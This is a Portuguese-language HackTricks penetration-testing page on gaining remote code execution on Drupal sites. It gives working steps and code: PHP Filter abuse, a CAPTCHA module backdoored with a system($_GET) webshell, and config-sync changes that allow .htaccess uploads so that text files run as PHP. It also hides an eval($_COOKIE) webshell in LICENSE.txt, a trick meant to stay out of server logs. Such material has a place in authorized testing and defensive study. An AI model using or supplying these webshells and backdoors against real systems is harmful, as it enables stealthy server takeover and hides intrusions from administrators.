Drupal RCE

Support HackTricks

Com o Módulo PHP Filter

Em versões mais antigas do Drupal (antes da versão 8), era possível fazer login como admin e ativar o módulo PHP filter, que "Permite que códigos/snippets PHP incorporados sejam avaliados." Mas a partir da versão 8, este módulo não é instalado por padrão.

Você precisa que o plugin php esteja instalado (verifique acessando /modules/php e se retornar um 403 então, existe, se não encontrado, então o plugin php não está instalado)

Vá para Módulos -> (Verifique) PHP Filter -> Salvar configuração

Então clique em Adicionar conteúdo -> Selecione Página Básica ou Artigo -> Escreva shellcode php no corpo -> Selecione Código PHP em Formato de texto -> Selecione Visualizar

Finalmente, acesse o nó recém-criado:

curl http://drupal-site.local/node/3

Instalar o Módulo PHP Filter

Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão.

A partir da versão 8, o PHP Filter não é instalado por padrão. Para aproveitar essa funcionalidade, teríamos que instalar o módulo nós mesmos.

  1. Baixe a versão mais recente do módulo no site do Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Uma vez baixado, vá para Administração > Relatórios > Atualizações disponíveis.

  4. Clique em Procurar, selecione o arquivo do diretório para o qual o baixamos e clique em Instalar.

  5. Uma vez que o módulo esteja instalado, podemos clicar em Conteúdo e criar uma nova página básica, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de selecionar Código PHP no menu suspenso Formato de texto.

Módulo com Backdoor

Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão.

Um módulo com backdoor pode ser criado adicionando um shell a um módulo existente. Módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como CAPTCHA. Role para baixo e copie o link para o arquivo tar.gz.

  • Baixe o arquivo e extraia seu conteúdo.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crie um PHP web shell com o conteúdo:

<?php
system($_GET["cmd"]);
?>
  • Em seguida, precisamos criar um .htaccess arquivo para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos os arquivos para a pasta captcha e crie um arquivo compactado.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Supondo que temos acesso administrativo ao site, clique em Gerenciar e depois em Estender na barra lateral. Em seguida, clique no botão + Instalar novo módulo, e seremos levados à página de instalação, como http://drupal-site.local/admin/modules/install. Navegue até o arquivo do Captcha com backdoor e clique em Instalar.

  • Uma vez que a instalação seja bem-sucedida, navegue até /modules/captcha/shell.php para executar comandos.

Backdooring Drupal com Sincronização de Configuração

Post compartilhado por Coiffeur0x90

Parte 1 (ativação de Mídia e Biblioteca de Mídia)

No menu Estender (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins Mídia e Biblioteca de Mídia não parecem estar ativados, então vamos ativá-los.

Antes da ativação:

Após a ativação:

Parte 2 (aproveitando o recurso Sincronização de Configuração)

Vamos aproveitar o recurso Sincronização de Configuração para despejar (exportar) e fazer upload (importar) entradas de configuração do Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

Vamos começar patchando a primeira entrada allow_insecure_uploads de:

Arquivo: system.file.yml


...

allow_insecure_uploads: false

...

Para:

Arquivo: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

Em seguida, patch a segunda entrada file_extensions de:

Arquivo: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Para:

Arquivo: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada file_directory de maneira arbitrária e que é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore do sistema de arquivos do Drupal).

Parte 3 (aproveitando o recurso Adicionar Documento)

A última etapa é a mais simples e é dividida em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload.

Arquivo: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Por que esse truque é legal?

Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via $_COOKIE e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.

Por que nomear nosso Webshell LICENSE.txt?

Simplesmente porque se pegarmos o seguinte arquivo, por exemplo core/LICENSE.txt (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).

Arquivo: LICENSE.txt corrigido


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Parte 3.1 (carregar arquivo .htaccess)

Primeiro, aproveitamos o recurso Adicionar Documento (/media/add/document) para carregar nosso arquivo contendo as diretivas do Apache (.htaccess).

Parte 3.2 (carregar arquivo LICENSE.txt)

Em seguida, aproveitamos novamente o recurso Adicionar Documento (/media/add/document) para carregar um Webshell oculto dentro de um arquivo de licença.

Parte 4 (interação com o Webshell)

A última parte consiste em interagir com o Webshell.

Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador Web.

Quando o atacante define o cookie, ele pode interagir com o Webshell e executar quaisquer comandos que desejar.

E como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.

Obrigado por dedicar seu tempo para ler este artigo, espero que ele ajude você a obter algumas shells.

Support HackTricks

Last updated